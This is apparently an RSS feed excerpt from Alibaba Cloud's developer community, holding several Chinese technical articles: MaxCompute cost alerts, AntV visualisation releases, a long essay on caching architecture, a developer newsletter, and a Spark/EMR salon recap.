        [19] N. Wojke, A. Bewley, and D. Paulus, “Simple Online and Realtime Tracking with a Deep Association Metric,” CoRR, vol. abs/1703.07402, 2017.
        [20] X. Pan, P. Luo, J. Shi, and X. Tang, “Two at Once: Enhancing Learning and Generalization Capacities via IBN-Net,” in The European Conference on Computer Vision (ECCV), 2018.
        [21] H. Zhao et al., “PSANet: Point-wise Spatial Attention Network for Scene Parsing,” in Computer Vision – ECCV 2018, Cham, 2018, pp. 270–286.
        [22] A. G. Howard et al., “MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications,” ArXiv E-Prints, Apr. 2017.
        [23] M. Sandler, A. Howard, M. Zhu, A. Zhmoginov, and L.-C. Chen, “Inverted Residuals and Linear Bottlenecks: Mobile Networks for Classification, Detection and Segmentation,” ArXiv E-Prints, Jan. 2018.
        [24] X. Zhang, X. Zhou, M. Lin, and J. Sun, “ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices,” ArXiv E-Prints, Jul. 2017.
        [25] N. Ma, X. Zhang, H.-T. Zheng, and J. Sun, “ShuffleNet V2: Practical Guidelines for Efficient CNN Architecture Design,” ArXiv E-Prints, 2018.
        [26] M. Tan and Q. V. Le, “EfficientNet: Rethinking Model Scaling for Convolutional Neural Networks,” ArXiv E-Prints, p. arXiv:1905.11946, May 2019.

        ]]>
        MaxCompute按量计费计算任务消费监控告警 Fri, 02 May 2025 09:39:04 +0800 MaxCompute 按量计费资源为弹性伸缩资源,对于计算任务,按任务需求提供所需资源,对资源使用无限制,同时MaxCompute按量计费的账单为天账单,即当天消费需要第二天才出账,因此,有必要对计算任务的消费进行监控以免超预期消费而不可知。

        本文将介绍如何通过云监控配置MaxCompute按量计费计算任务消费监控告警。

        背景知识:

        • 云监控统计计算消费主要为标准SQL和MapReduce计算任务消费(纯资源使用消费):

          单SQL费用统计公式:扫描量(GB)️ ️* 复杂度️ * 单价
          单MapReduce费用统计公式:计算时️ ️* 单价
        • 计算消费按Project为单位,统计日、月累计消费。

        更多监控指标说明请参考文档 管理->监控报警

        监控需求:
        MaxCompute按量计费每个Project SQL、MR日消费达到0.01¥(为了演示效果配置很低的阈值),则通过短信、钉钉、邮件发送告警通知。

        配置步骤:

        image

        配置报警联系组
        image

        接收到钉钉机器人和邮件告警如下:

        image

        image

        ]]>
        11月28日Spark社区直播【Tablestore结合Spark的云上流批一体大数据架构 】 Fri, 02 May 2025 09:39:04 +0800 议题:

        Tablestore结合Spark的云上流批一体大数据架构

        直播间直达(回看)链接:

        https://developer.aliyun.com/live/1716

        简介:

        传统Lambda架构组件多运维复杂,如何使用一套存储和一套计算来实现流批架构充分享受技术红利?以Delta Lake为代表的新型数据湖方案越来越流行,传统的Lambda架构如何向数据湖架构进行扩展?以及结构化数据结合Delta Lake的最佳解决方案是什么。本次分享将会结合理论讲解和实际场景为您一一解答。

        讲师:

        王卓然 花名琸然 阿里云存储服务技术专家

        时间:

        2019年11月28日 19:00-20:00
        请钉钉扫码至群内观看直播,与嘉宾互动有机会获得社区礼物一份。

        11.png

        ]]>
        知源 · 致远 - AntV 年度发布 Fri, 02 May 2025 09:39:04 +0800

        导读

        AntV 是一个数据可视化项目,也是一个团队,蚂蚁金服数据可视化团队,一群有爱有梦的人,怀揣「让人们在数据世界里获得视觉化思考能力」的梦想前行, 希望成就智能时代全球领先的数据可视化解决方案,满足与日俱增的数据洞察需求。

        AntV 目前覆盖了统计图表、移动端图表、图可视化、地理可视化、2D 绘图引擎和智能可视化多个领域,主要包含 G2、G6、F2、L7 以及一套完整的图表使用和设计规范。得益于丰富的业务场景和用户需求挑战,AntV 经历多年积累与不断打磨,已支撑起阿里集团内外 20000+ 业务系统,通过了日均千万级 UV 产品的严苛考验,是阿里经济体数据可视化最重要的基础设施。

        跟往年的品牌日一样,今天依旧会有几个底层基础类库的大量更新发布,除此之外,非常高兴的向大家介绍 AntV 产品矩阵新添的三个成员:

        • G2Plot,一个基于 G2,开箱即用、易于配置、具有良好视觉和交互体验的通用图表库;
        • Graphin,一个基于 G6,专注关系可视分析领域的 React 组件库,简单,高效,开箱即用;
        • ChartCube,一个可以快速完成图表制作的在线工具,只需要三步就可以创建出高品质的图表;

        他们都是 AntV 技术栈上的更高抽象的封装或应用,详见文稿详情。

        跟往年的品牌日不一样,今年的品牌日主题为「知源 · 致远」,除了上述技术、设计的更新与发布,我们真诚的向大家分享 AntV 团队的由来与发展历程,详见文末 AntV 全员出镜演绎的团队纪录片,匠心知源,同行致远。

        匠心打磨,是时候给大家一个图表库了

        G2Plot

        G2Plot,一个基于 G2,开箱即用、易于配置、具有良好视觉和交互体验的通用图表库。

        G2 是一套基于可视化编码的图形语法,以数据驱动,具有高度的易用性和扩展性,用户无需关注各种繁琐的实现细节,一条语句即可构建出各种各样的可交互的统计图表。

        每个人都能制作图表,但并不是人人都能做出易读,好用又好看的优秀图表。如何从无聊的默认设置变成有洞见的数据图表呢?我们融合了在商业智能(BI)中的可视分析与设计实践经验,基于 G2 的灵活、强大的可视表达能力,抽象常用图表类型封装出全新的可视化图表库 G2Plot。结合真实数据,制作图表,获取专业的可视化。

        我们曾经说过 G2 是一个可以生产图表库的图表库,如今自证预言的推出 G2Plot 除了具备 G2 无限可能的可视表达能力外,G2Plot 最主要的特性还有:

        • 开箱即用:默认好用开箱即用的高质量统计图表
        • 响应式:针对各种分辨率的响应、文本覆盖、文本超出限制做了精心的设计
        • 会讲故事的图表:提供了多图组合、叠加、联动,共同讲述一个数据故事的可能性


        提前预告的还有 G2 4.0,在 G2 1.0 - 2.0 阶段我们专注于图形语法,解决了数据到图形的映射问题,用户可以通过自由组合图形语法快速搭建各种图表。G2 3.0 随着业务对图表体验需求不断升级,我们对图表组件以及交互进行了改造,提供了更加灵活的配置以及自定义功能。而此次 G2 4.0 对我们来说是一个很重要的新起点,我们对底层架构做了大量的重构工作,当前 G2 4.0 Alpha 版本已放出,稳定版预计将在两个月后正式发布,她将是一个专业的、给用户带来更多可能性的可视化底层引擎,在保证图表优雅体验的同时,4.0 将会更加关注于:

        • 图形语法,数据到图形的映射;
        • 交互语法,交互同数据、图形的连接机制;
        • 组件体系,面向交互、体验优雅;

        更多关于 G2Plot、G2 的最新进展见文末链接。

        点线析源远,洞察关系数据

        Graphin

        _Graphin,取名自 Graph Insight,图的分析洞察,_一个基于 G6,专注关系可视分析领域的 React 组件库,简单,高效,开箱即用。

        G6 AntV 旗下的图分析及图可视化引擎,G 来自于 Graphic、Graph ,意味着我们要基于图分析技术做图可视化;6 来自于《六度分隔理论》,表达了我们对关系数据、关系网络的敬畏和着迷。

        目前图分析已经被广泛应用在金融反欺诈,公共安全,基础设施监控,智慧医疗等领域。在这个过程中,我们需要一个强大的图计算引擎,解决数据合规,挖掘问题。也需要相应的图算法去解决图的构建,分析问题。最后在前端,我们需要一个图可视化引擎,为我们提供可视化分析能力,发现潜在的价值。

        Graphin 就是在这样的背景下诞生的,基于 G6 的底层能力一方面屏蔽掉一些领域专业的概念,同时又封装进去很多常用的图分析功能,进一步降低图可视化领域的专业门槛,将这些关系数据进行可视化分析与探索。Graphin 具有如下产品特性:

        • 数据驱动:充分利用 React 框架特性,支持数据到图的映射与变化;
        • 自动布局:内置丰富的布局,支持布局切换,满足不同场景下的布局需求;
        • 分析组件:内置 Toolbar,ContextMenu,MiniMap,Filter 等组件,组件化开发,支持自定义;
        • 自定义样式:内置节点与边的样式,支持用户通过 JSON Schema 自定义;
        • 基础分析:支持节点扩散,寻找边关系等基础分析方法;
        • 高级分析:开源后计划新增时序分析(timebar),地理位置分析(map mode)等高级分析方法。

        值得一提的是,G6 从 18 年开源到现在已经第 2 个版本,从基础关系图绘制到图分析与图编辑底座,而在 3.1.版本后的 G6 已重新聚焦在图分析方向,我们将会给出另外一个产品去承载图编辑方向的需求。有了这个改变,今天我们带来的 G6 3.2 版本能够更聚焦的提供:

        • 更丰富的元素:内置丰富的节点与边元素,自由配置,支持自定义;
        • 更可控的交互:内置 10+ 交互行为,支持自定义交互;
        • 更强大的布局:内置了 10+ 常用的图布局,支持自定义布局;
        • 更便捷的组件:优化内置组件功能及性能;
        • 更友好的体验:根据用户需求分层梳理文档,支持 TypeScript 类型推断。

        除了上述默认好用、配置自由的内置功能,元素、交互、布局均具有高可扩展的自定义机制。

        丰富的内置元素。]]> 什么技能产品经理不会提,但技术人必须懂? Fri, 02 May 2025 09:39:04 +0800 阿里妹导读:缓存是搭建高性能高并发系统的必备手段之一,通常用来解决性能瓶颈,是程序员的必备知识点,也是面试必备考点。

        尽管,产品经理大概率不会关注系统性能,但程序员在实现需求的时候必须思考系统承载的并发量和用户量。缓存主要用来解决性能瓶颈的问题,一旦错误使用反而会令系统崩溃。今天,我们就通过4W的方式系统化地总结缓存相关的理论知识。

        随着互联网业务的快速迭代以及用户量激增,应用架构需要不断调整甚至重构以适应这种业务的快速发展。当数据量迅速增长,业务逻辑越复杂,服务链路不断增加等等一系列问题,会导致RT过长,服务性能需要逐渐提升以满足更优的用户体验。在优化系统架构时通常的所用的两种方式scale up以及scale out,scale out就是通常所说的水平扩展,将应用服务设计成无状态性,可以方便水平扩展通过增加硬件的方式分解访问压力。而scale up则是将单个服务链路性能提升,以提升QPS以及系统的吞吐量。在追求更优的性能时,大多数业务场景是读多写少的情况,一般会通过引入缓存的方式解决。

        1. What——什么是缓存?

        关于缓存的定义,在wiki中为:

        a collection of data duplicating original values stored elsewhere on a computer, usually for easier access.

        简单理解就是保存在计算机设备中的一个数据副本,以便于后续能够进行快速访问。

        从定义上可以看出所谓缓存一定是针对已有数据的一个副本存在,也可以看出缓存的使用是为了解决快速访问数据(读数据)的场景。在现有的互联网应用中,缓存的使用是一种能够提升服务快速响应的关键技术,也是产品经理无暇顾及的非功能需求,需要在设计技术方案时对业务场景,具有一定的前瞻性评估后,决定在技术架构中是否需要引入缓存解决这种这种非功能需求。

        缓存在计算机领域中实际案例存在很多,比如CPU的缓存是为了解决CPU的运算速度和内存的读取数据不平衡的问题,CPU的运算速度远快与内存的读写速度,为了降低CPU等待数据读写的时间,在CPU中引入L1/L2/L3多级缓存。

        再比如Linux中的文件缓存,实际上我们在编程时,会谈论到数据的内存地址,但是我们接触的都是虚拟地址而不是真实的物理地址,计算机中的内存管理单元(MMU)和页表会将虚拟地址转换成物理地址。在计算机硬件领域中就已有很多关于缓存的应用案例,实际上在软件架构中关于缓存的设计会借鉴于很多传统且成熟的计算机硬件缓存设计的思想。

        2. Why——为什么需要使用缓存?

        软件服务能够得到用户的信赖,并将产品的价值带给用户,能够解决目标用户的痛点问题这是决定用户会不会一开始决定使用,也就是《增长黑客》中提到了产品能够带来给用户“啊哈时刻”,而决定用户会不会高频使用以及持续使用,用户体验则是被认为是软件产品提升用户黏性的关键影响因素。

        2.1 什么是用户体验

        用户体验被专业定义和推广需要推广到20世纪90年代,由Donald Norman布道推广。用户体验在人机交互领域上受到了重视,并一度和传统的三大可用性指标(即效率、效益以及基本满意度)不相上下。

        ISO 9241-210标准将用户体验官方定义为:人们对正在使用或者期待使用的产品、系统或者服务的认知印象和回应。可以看出用户体验是用户的对软件产品的主观感受,具体包含了用户在使用之前、使用中以及使用后的情感、喜好、认知印象、心理反应以及情绪表达等等多种主观感受,每个用户对产品的主观感受的视角不同,关注点不同,也就导致软件产品让大多数用户都能够获得很好的用户体验本身就是一件很有挑战性的事情。

        在业界大多数,将用户体验分为三类:使用者状态、软件产品的系统性能以及环境,使用者状态以及环境(使用者环境以及产品在同类产品中的产品大环境)这两个因素需要交互设计和用研等多个专业领域同学去攻克,软件开发者则需要解决系统性能的问题。对用户而言,最基本的需求就是在使用软件服务时,软件产品提供服务内容的及时性,也就是通常所说的在使用过程中持续的Loading(转菊花)一定会导致用户体验很差,内容的及时性也是系统性能的最低要求。

        而系统性能的问题,是产品经理无暇顾及的点,也是非功能性需求,需要开发者去花心思去思考的地方。评估系统性能的指标有很多,在以提升用户体验为前提的情况下,我们需要着重关注的性能指标有哪些呢?

        2.2 常见的性能指标

        在设计软件架构时需要关注的几个常见指标:响应时间、延迟时间、吞吐量、并发用户数和资源利用率。

        1)系统响应时间 :响应时间是指系统对用户请求做出响应的时间,不同的功能的链路长短不同,并且同一功能在不同数据量等这些情况都会导致响应时间的不同。因此,在衡量系统响应时间时,通常会关注软件产品所有功能的平均响应时间以及最大响应时间。

        2)延迟时间 :在讨论系统响应时间时,更细粒度的划分可以划分为:

        客户端在接受数据进行渲染的内容“呈现时间”;

        服务端在接受用户请求发送至服务端以及服务端将数据返回到客户端这两个过程中涉及到的:网络传输时间以及应用延迟时间。应用延迟时间即是服务端在执行整个服务链路时所花费的时间,也是性能优化首要降低的就是这个时间。

        3)吞吐量 :吞吐量指的是单位时间内能够处理请求的数量,对于无并发的应用来说,吞吐量和请求响应时间成反比,服务延迟更长则系统吞吐量更低。

        4)并发用户数 :并发用户数指的是系统能够同时承载正常使用系统功能的用户数,相较于吞吐量,这个指标更为笼统但是对于非软件领域的人来说更容易理解。

        5)资源利用率 :资源利用率反映的是在一段时间内资源被占用的情况。

        2.3 缓存带来的优势

        在追求更优的优化体验时,客观的来说需要不断提升以上这些性能指标,不断逼近系统体验的最优解。缓存到底具有什么样的优势,值得我们花费很大的精力去设计一套能很好的适应现在的业务场景的缓存结构呢?

        1)极大的提升软件用户体验

        软件产品主要围绕两个核心问题,一是解决目标用户的痛点问题,二是提升产品黏性。在提供软件服务时,抽象的来看是解决数据在整个链路上的流转问题,如何让数据流转更加高效、更加顺畅是在实现时着重关注的地方,事实上,无论是浏览器、负载均衡、应用服务器还是数据库等等各个环节都会应用到缓存,当数据离用户“更近”,比如数据副本在客户端上,也就意味着请求能够很快的进行响应,相应的给用户进行数据呈现的耗时就更短。现如今用户爸爸们“日理万机”,如果一个软件产品不能在很短时间就获取用户的注意力,很大可能性就意味着失败。因此,使用缓存能够让用户从主观上获取更优的用户体验。

        2)提升吞吐量

        试想,如果在服务链路上,请求能够在缓存中获取服务数据的话,也就意味着很多数据并不需要从源应用服务器进行获取,降低了源服务器网络传输的频率,在一定IDC带宽下,系统能够降低网络传输时间以及应用延迟时间,从而支撑更多的系统访问以提升系统整体吞吐量以及并发用户数,硬件的使用效率也会明显提升。

        从实际场景下,在系统性能优化时大概率会优先选择使用缓存进行系统优化,也是一种被证明有效的手段,缓存也被认为是一种“空间换时间”的艺术。

        3. Where——缓存存在链路中的哪些地方?

        3.1 缓存分类

        从一个请求到最终获取响应,会经过很多环节,缓存可以几乎存在整个链路的每个节点。缓存按照不同的维度可以有如下分类:

        1)缓存所处链路节点的位置:

        客户端缓存
        网络缓存
        服务端缓存

        2)缓存架构部署方式:

        单机缓存
        缓存集群
        分布式缓存

        3)缓存的内存区域

        本地缓存/进程内缓存
        进程间缓存
        远程缓存

        按照缓存在服务链路上的位置来划分,可以系统性的梳理下缓存的不同应用。

        3.2 客户端缓存

        客户端缓存是离用户“最近”的一种存储介质,经常和网络测和服务端缓存一起配合使用,常见的客户端缓存有如下几种:

        1)页面缓存:页面缓存是指将静态页面获取页面中的部分元素缓存到本地,以便下次请求不需要重复资源文件,h5很好的支持的离线缓存的功能,具体实现可通过页面指定manifest文件,当浏览器访问一个带有manifest属性的文件时,会先从应用缓存中获取加载页面的资源文件,并通过检查机制处理缓存更新的问题。

        2)浏览器缓存:浏览器缓存通常会专门开辟内存空间以存储资源副本,当用户后退或者返回上一步操作时可以通过浏览器缓存快速的获取数据,在HTTP 1.1中通过引入e-tag标签并结合expire、cache-control两个特性能够很好的支持浏览器缓存,关于浏览器缓存更为细节的知识可以查看该文章。

        3)APP缓存:APP可以将内容缓存到内存或者本地数据库中,例如在一些开源的图片库中都具备缓存的技术特性,当图片等资源文件从远程服务器获取后会进行缓存,以便下一次不再进行重复请求,并可以减少用户的流量费用。

        客户端缓存是前端性能优化的一个重要方向,毕竟客户端是距离“用户”最近的地方,是一个可以充分挖掘优化潜力的地方。

        3.3 网络缓存

        网络缓存位于客户端以及服务端中间,通过通过代理的方式解决数据请求的响应,降低数据请求的回源率。通常具有如下几种形式的网路缓存:

        1)web代理缓存:常见的代理形式分为分为:正向代理、反向代理以及透明代理。web代理缓存通常是指正向代理,会将资源文件和热点数据放在代理服务器上,当新的请求到来时,如果在代理服务器上能获取数据,则不需要重复请求到应用服务器上;

        2)边缘缓存:和正向代理一样,反向代理同样可以用于缓存,例如nginx就提供了缓存的功能。进一步,如果这些反向代理服务器能够做到和用户请求来自同一个网络,那么获取资源的速度进一步提升,这类的反向代理服务器可以称之为边缘缓存。常见的边缘缓存就是CDN(Content Delivery Network),可以将图片等静态资源文件放到CDN上。

        **3.4 服务端缓存
        **
        服务端缓存是后端开发中进行性能优化的发力点,常见的后端性能优化也是通过引入缓存来进行解决,常见的有数据库的查询缓存、缓存框架以及引入应用级缓存。

        3.4.1 数据库查询缓存

        例如,MySQL的缓存机制是通过将SELECT语句以及相应的ResultSet进行缓存,当后续接受到SELECT请求后,如果MySQL已经开启了Query Cache功能,会将SELECT语句以字符串的方式进行hash,然后去从缓存中进行查询,如果查询出数据,则直接进行返回,省去了后续的优化器以及存储引擎IO的操作,能够极大的提升响应时效。如何优化Query Cache需要从如下几个指标上进行考虑:

        query_cache_size:设置能够缓存ResultSet的内存区域大小
        query_cache_type:表示使用缓存的场景。0表示任何场景下都不使用Query Cache,1表示显式指定不使用Query Cache的查询都可以使用,2(DEMAND)表示只有明确指示使用Query Cache才会生效;
        Qcache hits:表示多少次查询命中Query Cache
        Qcache inserts:表示多少次没有命中Query Cache而插入数据
        Qcahce lowmem prunes:表示多少条Query引入空间不足而被清除
        Qcache free memory:表示剩余内存大小
        Qcache free blocks:该值很大表示内存碎片很多,需要及时清理

        在进行Qcache优化时,可以对以上指标综合进行分析,比如了解Qcache的缓存命中率 = Qcache hits/ Qcache hits + Qcache inserts,来判断当前Qcache的效率。也可以结合Qcahce lowmem prunes、Qcache free memory以及Qcache free blocks来判断当前Qcache的内存使用效率。

        另外,如果使用Innodb存储引擎的话,也需要着重关注innodb_buffer_pool_size参数,该参数决定了innodb的索引以及数据是否有足够大的空间放入到缓存中。table_cache决定了能够缓存表的最大数量,也是需要关注的一个参数。

        3.4.2 缓存框架

        在功能开发时,会常用提供缓存特性的缓存框架或者实现缓存功能的类库来高效的完成开发,常见的缓存框架有Ehcache、Guava等,这些缓存框架配置简单,能够简单灵活的使用。这些开源的缓存框架不仅支持单机的本地缓存还能配置集群的方式达到灵活伸缩。

        3.4.3 应用级缓存

        当缓存框架不能满足需求的时候,就需要引入应用级缓存,比如Redis、MongoDB等NoSQL数据库,应用级缓存具备高可用性以及伸缩性的分布式架构能够支撑业务需求,当然,做好一款应用级缓存产品其中的挑战也是巨大。

        4. When——什么时候需要使用缓存?

        缓存不是架构设计的必选项,也不是业务开发中的必要功能点,只有在业务出现性能瓶颈,进行优化性能的时候才需要考虑使用缓存来提升系统性能。也不是所有的业务场景都适合使用缓存,读多写少且数据时效要求越低的场景越适合使用缓存,缓存并不是所有性能问题的灵丹妙药,如果滥用缓存反而会成为毒药,并且会引入维护缓存的操作成本,使得系统复杂度更高不利于维护。

        另外把缓存当做存储来使用是一件极其致命的做法,这种错误的认识,将缓存引入系统的那一刻起就意味着已经让系统走上了危险的局面,对缓存的使用边界要有深刻的理解,才能尽可能保证做出引入缓存才是一个正确的决定。

        在进行缓存结构设计的时候,需要考虑的点有很多:

        1)业务流量量级以及应用规模:对于低并发低流量的应用而言,引入缓存并不会带来性能的显著提升,反而会带来应用的复杂度以及极高的运维成本。也不是任何数据都需要使用缓存,比如图片视频等文件使用分布式文件系统更合适而不是缓存。因此,在引入缓存前,需要对当前业务的流量进行评估,在高并发大流量的业务场景中引入缓存相对而言收益会更高;

        2)缓存应用的选择:缓存应用有很多如Redis、Memcached以及tair等等,针对每一种分布式缓存应用的优缺点以及适用范围、内存效率、运维成本甚至团队开发人员的知识结构都需要了解,才能做好技术选型;

        3)缓存影响因素的正确评估:在引入缓存前,需要着重评估value大小、缓存内存空间、峰值QPS、过期时间、缓存命中率、读写更新策略、key值分布路由策略、过期策略以及数据一致性方案等等多个因素,要做到心中有数;

        4)缓存高可用架构:分布式缓存要高可用,这也是分布式系统追求的三高指标中的一个,缓存的集群设计,主从同步方案的设计等等,只有缓存足够可靠,才能服务于业务系统,为业务带来价值;

        5)完善的监控平台:当缓存投入生产环境后,需要有一套监控系统能够显式的观测缓存系统的运行情况,才能更早的发现问题,同时对于预估不足的非预期热点数据,也需要热点发现系统去解决非预期的热点数据缓存问题。

        6)缓存最近原则:将缓存数据放在离用户最近的地方,无疑会极大的提升响应的速度,这也是多级缓存设计的核心思想。

        ]]> 双 11 模块 79.34% 的代码是怎样智能生成的? | 开发者必读(109期) Fri, 02 May 2025 09:39:04 +0800

        最炫的技术新知、最热门的大咖公开课、最有趣的开发者活动、最实用的工具干货,就在《开发者必读》!

        每日集成开发者社区精品内容,你身边的技术资讯管家。


        每日头条

        双 11 模块 79.34% 的代码是怎样智能生成的?

        作为今年阿里经济体前端委员会的四大技术方向之一,前端智能化方向一被提及,就不免有人好奇:前端结合 AI 能做些什么,怎么做,未来会不会对前端产生很大的冲击等等。本篇文章将围绕这些问题,以「设计稿自动生成代码」场景为例,从背景分析、竞品分析、问题拆解、技术方案等几个角度切入,细述相关思考及过程实践。


        最强干货

        不要再叫自己“程序员”了

        程序员不要将自己限定在写代码这一单一职能上,需要认清自身商业价值的本质,需要锻炼自己的沟通能力,擅于表现自己。职业只是一种生活方式,并不能完全支配我们的幸福。我们应该为了生活而工作,而不要为了工作而生活。

        首度公开!OceanBase存储系统架构的演进历程及工程实践

        作为一款100%自研的分布式数据库,OceanBase历经了近十年的发展历程。近十年来,OceanBase的存储架构经历了多次演进,以解决业务越来越复杂苛刻的存储需求。本文整理自赵裕众(花名陈群)在2019 SACC中国系统架构师大会中的演讲。

        2019 年度全球程序员薪酬报告:40岁以后普遍遭遇收入天花板

        日前 ,Hired 发布了《2019 年度薪酬状况报告》。该报告聚焦于全球 13 个城市的技术领域发展状况,该报告特别关注了软件工程师、产品经理、DevOps 工程师、设计师以及数据科学家等技术工作者的薪资。


        每天读本书

        《计算机程序的构造和解释(原书第2版)典藏版》之二:构造数据抽象

        在这一章里,我们将进一步去考察更复杂的数据。第1章里的所有过程,操作的都是简单的数值数据,而对我们希望用计算去处理的许多问题而言,只有这种简单数据还不够。许多程序在设计时就是为了模拟复杂的现象,因此它们就常常需要构造起一些计算对象,这些对象都是由一些部分组成的,以便去模拟真实世界里的那些具有若干侧面的现象。这样,与我们在第1章里所做的事情(通过将一些过程组合起来形成复合的过程,以这种方式构造起各种抽象)相对应,本章将重点转到各种程序设计语言都包含的另一个关键方面:讨论它们所提供的,将数据对象组合起来,形成复合数据的方式。


        精品公开课

        超燃!Flink Forward Asia 2019 大会主会场精彩直播

        11月28日,Apache Flink 及大数据领域顶级盛会 Flink Forward Asia 2019重磅开启!

        阿里巴巴集团首席技术官、阿里云智能总裁行癫与多位来自阿里、腾讯、美团、字节跳动、百度、英特尔、戴尔科技集团、Lyft、Netflix 及 Flink 创始团队等近 30 家知名企业资深技术专家齐聚北京国际会议中心,与全球开发者共同探讨大数据时代核心技术与开源生态。

        无论你关注算力、大数据相关技术,还是人工智能或企业数字化转型,顶级嘉宾阵容,邀你一起探索强大算力关键技术与数字化转型未来风向。


        每日集成开发者社区精品内容,请持续关注开发者必读

        ]]>
        阿里云大数据+AI技术沙龙上海站回顾 | ​揭秘TPC-DS 榜单第一名背后的强大引擎 Fri, 02 May 2025 09:39:04 +0800 11月16日,阿里云大数据+AI技术沙龙,首战上海站取得圆满成功。我们邀请到阿里巴巴计算平台事业部 技术专家辛庸,辰山,抚月,诚历;高级技术专家铁杰,以及Intel软件工程师喻杉和大家进行分享交流。

        以下是各议题相关资料沉淀。


        议题一:
        基于 Spark 打造高效云原生数据分析引擎

        视频观看链接:https://developer.aliyun.com/live/1712?spm=a2c6h.12873581.0.0.270f1566XWpLUS&groupCode=apachespark

        PPT链接:https://www.slidestalk.com/AliSpark/Meetup_Shanghai_16944

        辛庸,阿里巴巴计算平台事业部 EMR 技术专家。Apache Hadoop,Apache Spark contributor。对 Hadoop、Spark、Hive、Druid 等大数据组件有深入研究。目前从事大数据云化相关工作,专注于计算引擎、存储结构、数据库事务等内容。

        议题简介:
        由阿里巴巴 EMR 团队提交的 TPC-DS 成绩在九月份的榜单中取得了排名第一的成绩。这个成绩背后离不开 EMR 团队对 Spark 执行引擎持续不断的优化。
        本次分享将选取一些有代表性的优化点,深入到技术细节做详细介绍,包括但不限于动态过滤、CBO增强、TopK排序等等。


        议题二:
        使用分布式自动机器学习进行时间序列分析

        视频观看链接:https://developer.aliyun.com/live/1713?spm=a2c6h.12873581.0.0.270f1566XWpLUS&groupCode=apachespark

        PPT链接:
        https://www.slidestalk.com/AliSpark/TimeSeriesForecastingAutoML_Shan_19111673315

        喻杉,Intel大数据分析团队软件工程师。她目前专注于在analytics-zoo大数据和人工智能平台上开发自动机器学习组件。在加入intel前,她在浙江大学获得了学士和硕士学位。

        内容简介:
        对于时间序列预测搭建机器学习应用的过程非常繁琐且需要大量经验。为了提供一个简单易用的时间序列预测工具,我们将自动机器学习应用于时间序列预测,将特征生成,模型选择和超参数调优等过程实现自动化。我们的工具基于Ray(UC Berkeley RISELab开源的针对高级AI 应用的分布式框架,并作为Analytics zoo(由intel开源的统一的大数据分析和人工智能平台)的一部分功能提供给用户。


        议题三:
        云上大数据的存储方案设计和选择

        视频观看链接:https://developer.aliyun.com/live/1714?spm=a2c6h.12873581.0.0.270f1566XWpLUS&groupCode=apachespark

        PPT链接:https://www.slidestalk.com/AliSpark/13535?video

        姚舜扬,花名辰山,阿里巴巴计算平台事业部 EMR 高级开发工程师,目前从事大数据存储方面的开发和优化工作;

        苏昆辉,花名抚月,阿里巴巴计算平台事业部 EMR 高级工程师, 曾就职于华为、网易. Apache HDFS committer. 对Hadoop、HBase等有深入研究, 对分布式存储、高性能优化有丰富经验. 目前从事大数据云化相关工作.

        议题简介:
        上云拐点已来,开源大数据上云是业界共识。如何满足在云上低成本存储海量数据的同时又实现高效率弹性计算的潜在需求?放眼业界,都有哪些成熟存储方案和选择?各自适用的存储和计算场景是什么?背后的技术关键和考虑因素都有哪些?欢迎大数据技术爱好者面对面交流和探讨!


        议题四:
        从Python 到Java ,Pyboot加速大数据和AI的融合

        视频观看链接:
        https://developer.aliyun.com/live/1715?spm=a2c6h.12873581.0.0.270f1566XWpLUS&groupCode=apachespark

        https://developer.aliyun.com/live/1717?spm=a2c6h.12873581.0.0.270f1566XWpLUS&groupCode=apachespark

        PPT链接:https://www.slidestalk.com/AliSpark/PybootAI12722

        郑锴,花名铁杰,阿里巴巴高级技术专家,Apache Hadoop PMC,Apache Kerby 创立者。深耕分布式系统开发和开源大数据多年,目前专注于在阿里云上提供更好用更有弹性的 Hadoop/Spark 大数据平台;

        孙大鹏,花名诚历,阿里巴巴计算平台事业部 EMR 技术专家,Apache Sentry PMC,Apache Commons Committer,目前从事开源大数据存储和优化方面的工作;

        议题简介:
        Python 代表机器学习生态,而以 Hadoop/Spark 为核心的开源大数据则以 Java 为主。前者拥有数不清的算法库和程序,后者承载着海量数据和大量的企业应用。除了 SQL 这个标准方式和各种五花八门的协议接口,还有没有更高效的一手数据通道,将两个生态对接起来,乃至深度融合?Pyboot 是我们在这个方向上的探索。有兴趣的同学欢迎现场观摩演示和技术交流。


        EMR团队介绍

        阿里云 EMR 团队,致力于为客户提供开源大数据 Hadoop/Spark 生态基于云端的一站式,高可用弹性计算平台。EMR 团队在国内运营最大的 Spark 社区,为了更好地传播和分享业界最新技术和最佳实践,现联合开源社区同行,打造一个纯粹的技术交流线下沙龙《大数据 + AI》,定期为大家做公益分享。
        社区地址:https://developer.aliyun.com/group/apachespark


        作为运行在阿里云平台上的一种大数据处理的系统解决方案,阿里云 Elastic MapReduce(E-MapReduce)构建于阿里云云服务器 ECS 上,基于开源的 Apache Hadoop 和 Apache Spark,让用户可以方便地使用 Hadoop 和 Spark 生态系统中的其他周边系统(如 Apache Hive、Apache Pig、HBase 等)来分析和处理自己的数据。官网:https://www.aliyun.com/product/emapreduce

        E-MapReduce 目前已服务政府、教育、新零售、服务、互联网、人工智能等行业超千家企业,提供集群管理工具的集成解决方案,如主机选型、环境部署、集群搭建、集群配置、集群运行、作业配置、作业运行、集群管理、性能监控等。

        今年3月份,E-MapReduce成为全球首个通过TPC认证的公共云产品。2019年9月,E-MapReduce新版本在TPC-DS 10TB benchmark中再次勇夺第一,性能达到5,261,414 QphDS,比之前最好成绩提升19%,并且将单位查询成本降低38%。同时,E-MapReduce首次将TPC-DS数据集规模拓展至100TB,性能达到14,861,137 QphDS,100TB的数据规模是竞争对手产品最大处理能力的10倍。

        Jindo是阿里云智能E-MapReduce团队在开源的Apache Spark基础上自主研发的云原生分布式计算和存储引擎,已经在近千E-MapReduce客户中大规模部署使用。Jindo Spark在开源版本基础上做了大量优化和扩展,深度集成和连接了众多阿里云基础服务。

        此次TPC-DS benchmark报告经过了严格第三方审计流程,任何阿里云智能的客户可以在阿里云官网购买并使用 最新版本。在benchmark测试中我们在阿里云ECS服务器上使用了Jindo Spark的最新版本,在几乎相同的硬件环境上,新版本的Jindo Spark展示了性能、功能和扩展性上有了长足的进步,在TPC-DS为代表的SQL查询性能相比以往版本有3倍以上的性能提升,查询规模更是提升了10倍,可以非常稳定的处理100TB规模的数据表。在本次 TPC-DS 10TB benchmark测试中,Jindo 引擎体现了比开源软件以及商业大数据产品更好的性能和更完整的分析支持。

